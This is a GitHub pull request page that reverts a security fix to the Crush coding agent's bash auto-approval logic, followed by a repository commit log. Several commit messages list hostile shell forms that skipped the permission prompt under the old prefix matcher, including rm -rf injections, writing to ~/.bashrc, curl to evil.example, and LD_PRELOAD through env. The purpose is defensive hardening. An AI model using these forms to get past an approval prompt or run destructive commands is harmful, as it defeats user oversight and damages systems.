Revert "fix(bash): decide auto-approval from the parsed command, not its prefix" - #3565
Merged
Merged
Conversation
Member
|
This one is complimentary to sysadmin mode. @joestump I think we can do a fast follow-up either way. Open a new PR and I'll send some feedback. |
joestump
added a commit
to joestump-agent/crush
that referenced
this pull request
Aug 16, 2026
Reapplies the change reverted in charmbracelet#3565 (revert of charmbracelet#3426), unchanged. The original PR was merged before @meowgorithm had finished checking it against @taciturnaxolotl's sysadmin mode, so it was reverted to take main back to a known state. This restores the branch as a live PR so that review can finish before it lands a second time. The tree for the four touched files is byte-identical to the post-charmbracelet#3426 state; no behavior was changed while it was out. Co-authored-by: joestump-agent <joestump-agent@users.noreply.github.com> Assisted-by: Claude Opus 5
Paciente8159
added a commit
to Paciente8159/crush
that referenced
this pull request
Aug 16, 2026
commit 240c487 Merge: 6abd61e d73a6e4 Author: Joe Stump <joe@stu.mp> Date: Sun Aug 16 11:46:30 2026 +0100 Merge pull request charmbracelet#3565 from charmbracelet/revert-3426-upstream/bash-permission-ast Revert "fix(bash): decide auto-approval from the parsed command, not its prefix" commit d73a6e4 Author: Joe Stump <joe@stu.mp> Date: Sun Aug 16 11:37:46 2026 +0100 Revert "fix(bash): decide auto-approval from the parsed command, not its prefix" commit 6abd61e Merge: 051955a 945c518 Author: Joe Stump <joe@joestump.net> Date: Sun Aug 16 11:23:33 2026 +0100 Merge pull request charmbracelet#3426 from joestump-agent/upstream/bash-permission-ast fix(bash): decide auto-approval from the parsed command, not its prefix commit 945c518 Author: joestump <joe@joestump.net> Date: Sun Aug 16 11:15:43 2026 +0100 sec(bash): close four auto-approval gaps in the safe-command matcher Review of the parser rewrite turned up four command forms that still skip the permission prompt. None are regressions from this branch — all four also auto-approve under the prefix matcher on main — but a check that argues it approves only what is provably inert should not leave them. env NAME=VALUE cmd was the one worth blocking on. safeStmt rejects a `FOO=bar cmd` prefix because an assignment steers the command through its environment, and peelWrapper then skipped the same assignments when they were spelled through env, so `env GIT_EXTERNAL_DIFF=/tmp/x git diff` and `env LD_PRELOAD=/tmp/x.so ls` auto-approved. Assignments are no longer skipped: the assignment stays at the head of the inner argv, matches no entry, and falls through to the prompt. denyFlags matched the whole token, so a short flag that carried its value attached or clustered with another never matched its entry — `date -s` was denied while `date -s2020-01-01` and `date -us` were not. Deny matching now reads every character of a single-dash token. hostname moves to an allow list for the same reason: `hostname -F/etc/x` sets the hostname in one token, leaving no operand for allowOperands to reject. --textconv joins --ext-diff on gitCodeExecFlags; both run a program named by the repository's own config. `git remote show` now requires -n, which is what keeps it off the network — without it the subcommand does a live ls-remote, the behaviour cited for leaving git ls-remote off the list. Verified all four close and 25 legitimate forms still auto-approve. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> commit 059ba81 Author: joestump-agent <agent@stump.wtf> Date: Sat Jul 25 08:58:31 2026 +0100 fix(bash): keep read-only git filter and remote forms auto-approved Rebuilding the safe list cost three read-only forms their auto-approval: `git branch --contains <commit>`, `git tag --points-at <ref>` and `git remote show|get-url <name>`. All three carry an operand, and the branch/tag entries reject operands so that `git branch <name>` and `git tag <name>` — which create — keep prompting. Add operand-taking entries gated on requireFlag, the same mechanism `git config --get` already uses: a filter flag must be present, which is exactly what distinguishes listing from creating. git itself rejects mixing a filter flag with branch creation, so the pair cannot combine into a mutation. The read-only remote subcommands are spelled out so add/remove/rename/set-url/prune stay off. commit 07e0544 Author: joestump-agent <agent@stump.wtf> Date: Sat Jul 25 08:56:35 2026 +0100 fix(bash): satisfy staticcheck QF1001 in isAssignment Express the character rule positively — a name is letters, digits and underscores and cannot lead with a digit — instead of negating a conjunction, which staticcheck flags as a De Morgan simplification. commit 1fdb081 Author: joestump-agent <agent@stump.wtf> Date: Sat Jul 25 08:31:06 2026 +0100 fix(bash): decide auto-approval from the parsed command, not its prefix The bash tool skipped the permission prompt for a "safe read-only" command by testing strings.HasPrefix against a list of command names, guarded by a scan for the chaining metacharacters ; | && $( and `. Text matching cannot see what the command actually does. The guard has no notion of a newline, a bare &, a redirection, or a process substitution, and prefix matching cannot tell a command from one that merely starts with the same letters. Every one of these skipped the prompt entirely: echo hi\nrm -rf /tmp/pwned echo pwned > ~/.bashrc echo hi & rm -rf /tmp/pwned ls <(rm -rf /tmp/pwned) env rm -rf /tmp/pwned nohup curl https://evil.example git branch -D main git tag -d v1.0.0 git remote set-url origin https://evil.example/x.git Parse the command with syntax.Parser and approve only what is provably inert. Every statement must be a plain call with no redirection, no backgrounding, no assignment, and fully literal words — a command substitution or parameter expansion is rejected rather than evaluated, so `ls $(rm -rf /)` is never mistaken for an `ls`. Anything unrecognized fails closed, which costs a permission prompt and nothing more. The safe list is rebuilt on that footing. Entries now match a token sequence instead of a string prefix, and carry a flag policy, so `git branch` and `git branch --list` still auto-approve while `git branch -D` does not. Command wrappers (env, nohup, nice, timeout) are peeled and the command inside is checked on its own merits: `nohup ls` auto-approves, `nohup curl` does not. `time` gets the same treatment via its keyword node. Dropped from the list: kill and killall (signal arbitrary processes), set and unset (mutate shell state), git ls-remote and Windows nslookup/ping (reach the network). This adds prompts where there were none before, which is the point. Refs charmbracelet#3425 commit 051955a Author: Charm <124303983+charmcli@users.noreply.github.com> Date: Thu Aug 13 18:44:22 2026 -0300 chore(legal): @lawrence3699 has signed the CLA commit d8daa11 Author: Charm <124303983+charmcli@users.noreply.github.com> Date: Thu Aug 13 03:10:30 2026 -0300 chore(legal): @Lin-BoYuan has signed the CLA commit 0fa44aa Author: Charm <124303983+charmcli@users.noreply.github.com> Date: Wed Aug 12 21:57:27 2026 -0300 chore(legal): @teddytennant has signed the CLA commit 3795102 Author: Andrey Nering <andrey@nering.com.br> Date: Wed Aug 12 17:22:19 2026 -0300 ci: run dependabot monthly commit 06e27eb Author: Andrey Nering <andrey@nering.com.br> Date: Wed Aug 12 16:38:28 2026 -0300 chore(deps): update fantasy and catwalk commit ba531a4 Author: Andrey Nering <andrey@nering.com.br> Date: Wed Aug 12 16:36:53 2026 -0300 v0.89.0 commit 25bf6a2 Author: Drew Smirnoff <drew@charm.land> Date: Wed Aug 12 23:06:24 2026 +0400 feat: ctrl+end to go to the bottom and follow (charmbracelet#3535) Signed-off-by: drew <me@andrinoff.com> commit 2e02413 Author: Charm <124303983+charmcli@users.noreply.github.com> Date: Wed Aug 12 18:38:10 2026 +0000 chore: auto-update files commit ec2fe43 Author: Andrey Nering <andreynering@users.noreply.github.com> Date: Wed Aug 12 15:36:31 2026 -0300 fix: send hyper api key when fetching provider catalog (charmbracelet#3546) Also, retry on 401 and re-fetch after completing OAuth authentication. Assisted-by: Crush:qwen3.8-max commit 804324f Author: Bruno Krugel <brunokrugel@gmail.com> Date: Wed Aug 12 13:03:14 2026 -0300 feat(session): print session id on exit (charmbracelet#3398) Co-authored-by: AN Long <aisk1988@gmail.com> Co-authored-by: Christian Rocha <christian@rocha.is> commit f50509d Author: Christian Rocha <christian@rocha.is> Date: Fri Aug 7 15:30:33 2026 -0400 chore(mcp): log how long each MCP server takes to connect Makes it possible to tell from the debug logs which configured server is slow to start, instead of only learning that one failed. 💘 Generated with Crush Assisted-by: Crush:anthropic/claude-opus-5 commit c78cc67 Author: Christian Rocha <christian@rocha.is> Date: Fri Aug 7 14:52:56 2026 -0400 fix(mcp): only wait for slow MCP servers in non-interactive runs Interactive sessions no longer freeze while MCP servers are still connecting: prompts send immediately and tools from late servers appear on subsequent turns. One-shot non-interactive runs still wait, bounded by each server's connect timeout, so their tool palette is complete. 💘 Generated with Crush Assisted-by: Crush:anthropic/claude-opus-5 commit 48768f8 Author: Christian Rocha <christian@rocha.is> Date: Thu Aug 6 16:05:27 2026 -0400 fix(ui): don't block interactive prompts on MCP initialization The interactive coordinator gated every run on mcp.WaitForInit, which waits for every configured MCP server to finish connecting. Sending a prompt before init completed — typically the first message in a session — froze the UI spinner for the duration of the slowest server's connect timeout (10s by default, up from 120s before charmbracelet#3509), making Crush feel broken on startup. Build the tool list from whatever is registered at send time instead. Servers still connecting publish EventToolsListChanged when ready and their tools appear on the next run; the TUI already surfaces per-server status so nothing fails silently. The non-interactive path (crush run) still waits explicitly in App.RunNonInteractive before starting work — there the user has no status UI and expects the full tool palette, so waiting once up front is correct. 💘 Generated with Crush Assisted-by: Crush:kimi-k3 commit b82d7d0 Author: Christian Rocha <christian@rocha.is> Date: Sun Aug 9 08:40:35 2026 -0400 feat(session): restore last used provider/model from session When continuing or loading a session, the provider and model are now restored to the last ones used in that session's assistant messages. If the provider/model is no longer available, no change is made. Affects all three entry points: interactive TUI, non-interactive local, and non-interactive client/server modes. 💘 Generated with Crush Assisted-by: Crush:glm-5.2 commit ba86f77 Author: Charm <124303983+charmcli@users.noreply.github.com> Date: Wed Aug 12 03:25:44 2026 -0300 chore(legal): @ktsoator has signed the CLA commit 63d73f7 Author: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue Aug 11 20:42:36 2026 +0000 chore(deps): bump the all group across 1 directory with 7 updates (charmbracelet#3545) Bumps the all group with 7 updates in the / directory: | Package | From | To | | --- | --- | --- | | [charm.land/catwalk](https://github.com/charmbracelet/catwalk) | `0.51.6` | `0.51.18` | | [github.com/go-git/go-git/v5](https://github.com/go-git/go-git) | `5.19.1` | `5.19.2` | | [github.com/lucasb-eyer/go-colorful](https://github.com/lucasb-eyer/go-colorful) | `1.4.0` | `1.4.1` | | [github.com/ncruces/go-sqlite3](https://github.com/ncruces/go-sqlite3) | `0.35.2` | `0.35.3` | | [github.com/posthog/posthog-go](https://github.com/posthog/posthog-go) | `1.22.0` | `1.23.0` | | [github.com/sourcegraph/jsonrpc2](https://github.com/sourcegraph/jsonrpc2) | `0.2.1` | `0.2.2` | | [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) | `1.54.0` | `1.56.0` | Updates `charm.land/catwalk` from 0.51.6 to 0.51.18 - [Release notes](https://github.com/charmbracelet/catwalk/releases) - [Commits](charmbracelet/catwalk@v0.51.6...v0.51.18) Updates `github.com/go-git/go-git/v5` from 5.19.1 to 5.19.2 - [Release notes](https://github.com/go-git/go-git/releases) - [Changelog](https://github.com/go-git/go-git/blob/main/HISTORY.md) - [Commits](go-git/go-git@v5.19.1...v5.19.2) Updates `github.com/lucasb-eyer/go-colorful` from 1.4.0 to 1.4.1 - [Release notes](https://github.com/lucasb-eyer/go-colorful/releases) - [Changelog](https://github.com/lucasb-eyer/go-colorful/blob/master/CHANGELOG.md) - [Commits](lucasb-eyer/go-colorful@v1.4.0...v1.4.1) Updates `github.com/ncruces/go-sqlite3` from 0.35.2 to 0.35.3 - [Release notes](https://github.com/ncruces/go-sqlite3/releases) - [Commits](ncruces/go-sqlite3@v0.35.2...v0.35.3) Updates `github.com/posthog/posthog-go` from 1.22.0 to 1.23.0 - [Release notes](https://github.com/posthog/posthog-go/releases) - [Changelog](https://github.com/PostHog/posthog-go/blob/main/CHANGELOG.md) - [Commits](PostHog/posthog-go@v1.22.0...v1.23.0) Updates `github.com/sourcegraph/jsonrpc2` from 0.2.1 to 0.2.2 - [Release notes](https://github.com/sourcegraph/jsonrpc2/releases) - [Commits](sourcegraph/jsonrpc2@v0.2.1...v0.2.2) Updates `modernc.org/sqlite` from 1.54.0 to 1.56.0 - [Changelog](https://gitlab.com/cznic/sqlite/blob/master/CHANGELOG.md) - [Commits](https://gitlab.com/cznic/sqlite/compare/v1.54.0...v1.56.0) --- updated-dependencies: - dependency-name: charm.land/catwalk dependency-version: 0.51.18 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: all - dependency-name: github.com/go-git/go-git/v5 dependency-version: 5.19.2 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: all - dependency-name: github.com/lucasb-eyer/go-colorful dependency-version: 1.4.1 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: all - dependency-name: github.com/ncruces/go-sqlite3 dependency-version: 0.35.3 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: all - dependency-name: github.com/posthog/posthog-go dependency-version: 1.23.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: all - dependency-name: github.com/sourcegraph/jsonrpc2 dependency-version: 0.2.2 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: all - dependency-name: modernc.org/sqlite dependency-version: 1.56.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: all ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> commit 01da7bc Author: Andrey Nering <andreynering@users.noreply.github.com> Date: Tue Aug 11 17:05:56 2026 -0300 feat: use anthropic sdk from upstream (charmbracelet#3544) * Fantasy PR: charmbracelet/fantasy#336 commit dcaf16f Author: Charm <124303983+charmcli@users.noreply.github.com> Date: Tue Aug 11 14:29:59 2026 -0300 chore(legal): @ach3rry has signed the CLA commit 36a4f79 Author: Andrey Nering <andrey@nering.com.br> Date: Mon Aug 10 17:31:47 2026 -0300 feat(ux): strip redundant cd-to-project prefix from bash tool display Models often prepend "cd <project-path> && " to every command even though the shell already starts in the project directory. Strip this prefix for display only when the cd target exactly matches the working directory, making the command header shorter and easier to read. Assisted-by: Crush commit 90b48cd Author: Andrey Nering <andrey@nering.com.br> Date: Mon Aug 10 16:35:18 2026 -0300 feat(ux): add bash syntax highlighting to bash tool Assisted-by: Crush commit feb6300 Author: Amolith <amolith@secluded.site> Date: Mon Aug 10 10:08:00 2026 -0700 telemetry: differentiate invocation types (charmbracelet#3533) I suspect lots of `crush run` is just from people telling their interactive Crush to use `crush run` for write-capable subagents, since our built in subagents are currently hobbled. This checks for nesting on startup by looking for an env var the shell tool already sets for all shell invocations. If `crush run` sees the env var, it knows it's a non-interactive instance launched by another possibly interactive, possibly noninteractive instance.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Reverts #3426
Merged too soon. @meowgorithm has a few more checks he wants to run to make sure it works with @taciturnaxolotl's sysadmin mode.